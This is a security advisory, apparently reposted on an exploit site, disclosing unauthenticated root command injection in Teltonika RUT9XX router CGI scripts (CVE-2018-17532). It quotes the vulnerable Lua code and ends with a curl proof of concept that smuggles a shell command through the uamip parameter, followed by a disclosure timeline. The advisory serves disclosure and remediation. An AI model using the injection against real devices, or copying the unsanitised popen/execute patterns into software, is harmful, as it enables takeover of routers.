Teltonika RUT9XX Unauthenticated OS Command Injection Exploit

ID: 99751
CVE: None
Download vulnerable application: None
# Teltonika RUT9XX Unauthenticated OS Command Injection #
 ## Vulnerability Overview ##
 Teltonika RUT9XX routers with firmware before 00.04.233 are prone to
multiple unauthenticated OS command injection vulnerabilities in
`autologin.cgi` and `hotspotlogin.cgi` due to insufficient user input
sanitization. This allows remote attackers to execute arbitrary
commands with root privileges.
 * **Identifier**            : SBA-ADV-20180319-01
* **Type of Vulnerability** : OS Command Injection
* **Software/Product Name** : [Teltonika RUT955](
* **Vendor**                : [Teltonika](
* **Affected Versions**     : Firmware RUT9XX_R_00.04.172 and probably prior
* **Fixed in Version**      : RUT9XX_R_00.04.233
* **CVE ID**                : CVE-2018-17532
* **CVSSv3 Vector**         : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* **CVSSv3 Base Score**     : 9.8 (Critical)
 ## Vendor Description ##
 > RUT955 is a highly reliable and secure LTE router with I/O, GNSS and
> RS232/RS485 for professional applications. Router delivers high
> performance, mission-critical cellular communication and GPS location
> capabilities.
 Source: <>
 ## Impact ##
 An attacker can fully compromise the device, by exploiting the
vulnerabilities documented in this advisory. Sensitive data stored or
transmitted via the device might get exposed through this attack.
 We recommend upgrading to version RUT9XX_R_00.04.233 or newer, which
includes fixes for the vulnerabilities described in this advisory.
 ## Vulnerability Description ##
 Several parameters of the scripts `autologin.cgi` and `hotspotlogin.cgi`
are affected by OS command injection vulnerabilities. The scripts are
part of the coova-chilli captive portal. However, the vulnerabilities
are exploitable regardless of the device configuration, even if no
captive portal is configured.
 More concretely, the following parameters are vulnerable:
 * `/cgi-bin/autologin.cgi`
  * reply
  * uamport
  * challenge
  * userurl
  * res
  * reason
  * *If* res=success
    * uamip
    * uamport
    * userurl
* `/cgi-bin/hotspotlogin.cgi`
  * *If* send=1
    * uamip
    * TelNum
    * challenge
    * uamport
    * userurl
  * *If* button=1 or (res=wispr and UserName=1)
    * uamport
    * uamip
  * *If* res=success or res=already or res=popup2
    * uamip
    * uamport
  * *If* res=logoff or res=popup3
    * uamip
    * uamport
 The affected scripts use these parameters to build OS commands via
string concatenation without proper sanitization.
 The vulnerabilities are located in the source files `hotspotlogin.cgi`
and `landing_page_functions.lua`, which is included from `autologin.cgi`
and `hotspotlogin.cgi`.
 The `landing_page_functions.lua` script provides multiple functions,
which are either vulnerable to OS command injection themselves or
propagate insecure usage.
 For example, it provides the function `getParam`, which directly passes
the argument to `io.popen`:
function getParam(string)
        local h = io.popen(string)
        local t = h:read()
        return t
 `landing_page_functions.lua` also provides the functions `debug` and
`get_ifname`, which use `os.execute` and `getParam` in an insecure way:
function debug(string)
        if debug_enable == 1 then
                os.execute("/usr/bin/logger -t hotspotlogin.cgi \""..string.."\"")
function get_ifname(ip)
        local result = getParam(format("ip addr | grep \"%s\"", ip))
        local tun = string.match(result, "(tun%d+)")
        local ifname = "wlan0"
 For example, `hotspotlogin.cgi` makes use of the functions `get_ifname` and
`getParam`. Occasionally, it also insecurely uses `os.execute` directly:
if send and send ~= "" and tel_num then
        local ifname = get_ifname(uamip)
        local pass = generate_code(ifname) or "0000"
        tel_num = tel_num:gsub("%%2B", "+")
        local exists = getParam("grep \"" ..tel_num.. "\" /etc/chilli/" .. ifname .. "/smsusers")
        local user = string.format("%s", pass)
        local uri = os.getenv("REQUEST_URI")
        local message = string.format("%s Password - %s  \n Link - http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&UserName=%s&button=1", tel_num, pass, uamip, uri, challenge, uamport, uamip, userurl, pass)
        local smsotp_mesg=string.format("%s;%s", tel_num, pass)
        message = getParam(string.format("/usr/sbin/gsmctl -Ss \"%s\"", message))
         if message == "OK" then
                os.execute("echo \""..smsotp_mesg.."\" >> /tmp/smsotp.log")
                sms = "sent"
                if exists then
                        os.execute("sed -i 's/" ..exists.. "/" ..user.. "/g' /etc/chilli/" .. ifname .. "/smsusers")
                        os.execute("echo \"" ..user.. "\" >>/etc/chilli/" .. ifname .. "/smsusers")
 In one of the first lines of the above code snippet, `hotspotlogin.cgi`
calls `get_ifname` with unsanitized user input from the parameter
`uamip`. A few lines later it calls `getParam` with unsanitized user
input from the parameter `TelNum`. In a further call to `getParam` it
uses more unsanitized user input.
 There are futher locations that call insecure functions like `debug`
and `get_ifname` either directly or indirectly with user input from the
scripts `autologin.cgi` and `hotspotlogin.cgi`.
 ## Proof-of-Concept ##
 For example, an attacker can exploit this vulnerability by manipulating
the `uamip` parameter:
curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #'
 The device executes the commands with root privileges:
# cat /tmp/test
uid=0(root) gid=0(root)
 ## Timeline ##
 * `2018-03-19` identification of vulnerability in version RUT9XX_R_00.04.84
* `2018-04-10` detailed analysis of version RUT9XX_R_00.04.161
* `2018-04-16` re-test of version RUT9XX_R_00.04.172
* `2018-04-16` initial vendor contact through public address
* `2018-04-18` vendor response with security contact
* `2018-04-19` disclosed vulnerability to vendor security contact
* `2018-04-26` vendor released fix in version RUT9XX_R_00.04.233
* `2018-07-09` re-test of version RUT9XX_R_00.05.00.5
* `2018-09-25` request CVE from MITRE
* `2018-09-26` MITRE assigned CVE-2018-17532
* `2018-10-11` public disclosure
 ## References ##
 * Firmware Changelog: <>
 ## Credits ##
 * David Gnedt ([SBA Research](
1-4-2 (www01)